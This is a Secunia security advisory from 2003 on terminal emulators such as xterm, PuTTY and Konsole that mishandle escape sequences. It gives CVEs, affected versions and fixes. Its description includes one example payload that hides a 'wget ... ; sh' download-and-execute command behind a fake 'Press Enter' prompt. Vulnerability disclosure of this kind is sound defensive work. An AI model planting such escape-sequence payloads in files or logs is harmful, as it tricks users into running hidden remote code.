Secunia Logo
Netsikker nu! 2008
 
Terminal Emulators fail to handle escape sequences
Secunia Advisory: SA8146
Release Date: 2003-02-25
Last Update: 2004-05-10
Popularity: 18,901 views

Critical:
Moderately critical
Impact: System access
Where: From remote
Solution Status: Vendor Patch

Software:Apache 1.3.x
Apache 2.0.x
aterm 0.4.x
Eterm 0.9.x
gnome-terminal 2.x
hanterm-xf 2.x
Konsole 3.x
PuTTY 0.x
rxvt 2.7.x
SecureCRT 3.x

Subscribe: Instant alerts on relevant vulnerabilities

CVE reference:CVE-2003-0020
CVE-2003-0021
CVE-2003-0022
CVE-2003-0023
CVE-2003-0024
CVE-2003-0063
CVE-2003-0064
CVE-2003-0066
CVE-2003-0067
CVE-2003-0068
CVE-2003-0069
CVE-2003-0070
CVE-2003-0071
CVE-2003-0078
CVE-2003-0079
CVE-2003-0083


Description:
Different terminal emulators have been found vulnerable to an issue allowing malicious people to manipulate actions taken by the system administrator and other users.

The problem is that escape sequences like "\e2]2;" aren't handled correctly. This allows plain text files to manipulate the text shown in the terminal emulator, which could be exploited to show a "harmless" text messages that requires the user to respond by clicking enter. This will then execute commands hidden by the "harmless" text.

Example:
echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"

This will ask the user to press enter, while concealing the commands in the background, which could download and execute malicious code.

The vulnerability could be used by local users to trick root or other local users into reading a malicious plain text file using commands like type, more, and tail.

However, remote users may also be able to inject this into log files. It has been reported that it is possible to inject escape sequences into Apache access and error log files. Other daemons may also write unfiltered text to log files.

See the original advisory from Digital Defense for more examples.

Versions confirmed vulnerable:
xterm xf86 4.2.0 (patch 165)
aterm 0.42
rxvt 2.7.8
Eterm 0.9.1
konsole 3.1.0 rc5
putty 0.53
SecureCRT 3.4.6
gnome-terminal 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
hanterm-xf 2.0

Solution:
Use a different terminal emulator, until your favorite terminal emulator has been updated.

Eterm 0.9.2 is not vulnerable.

Apache httpd 1.3.31-dev addresses the issue.

Provided and/or discovered by:
H D Moore, Digital Defense

Changelog:
2004-01-15: Updated CVE references.
2004-05-10: Updated solution for Apache.

Original Advisory:
http://www.digitaldefense.net/labs/papers/Termulation.txt


Track this Secunia Advisory
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.

Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.

About this Secunia Advisory
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.

Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
  
Latest Advisories

Send Feedback to Secunia
If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com.

Ideas, suggestions, and other feedback are most welcome.

Most Popular - 3 Hours

1. WinFTP "PASV" Denial of Service Vulnerability // 123 views
2. ScriptsEz Mini Hosting Panel "dir" File Disclosure // 100 views
3. Ayco Okul "linkid" SQL Injection Vulnerability // 95 views
4. NewLife Blogger "nlb3" SQL Injection Vulnerability // 92 views
5. Real Estates Classifieds "cat" SQL Injection Vulnerability // 59 views
6. Joomla Ignite Gallery Component "gallery" SQL Injection // 58 views
7. Apache Tomcat "RemoteFilterValve" Security Bypass Security Issue // 55 views
8. My PHP Indexer "d" File Disclosure Vulnerability // 54 views
9. Joomla Mad4Joomla Mailforms Component "jid" SQL Injection // 46 views
10. Joomla OwnBiblio Component "catid" SQL Injection // 43 views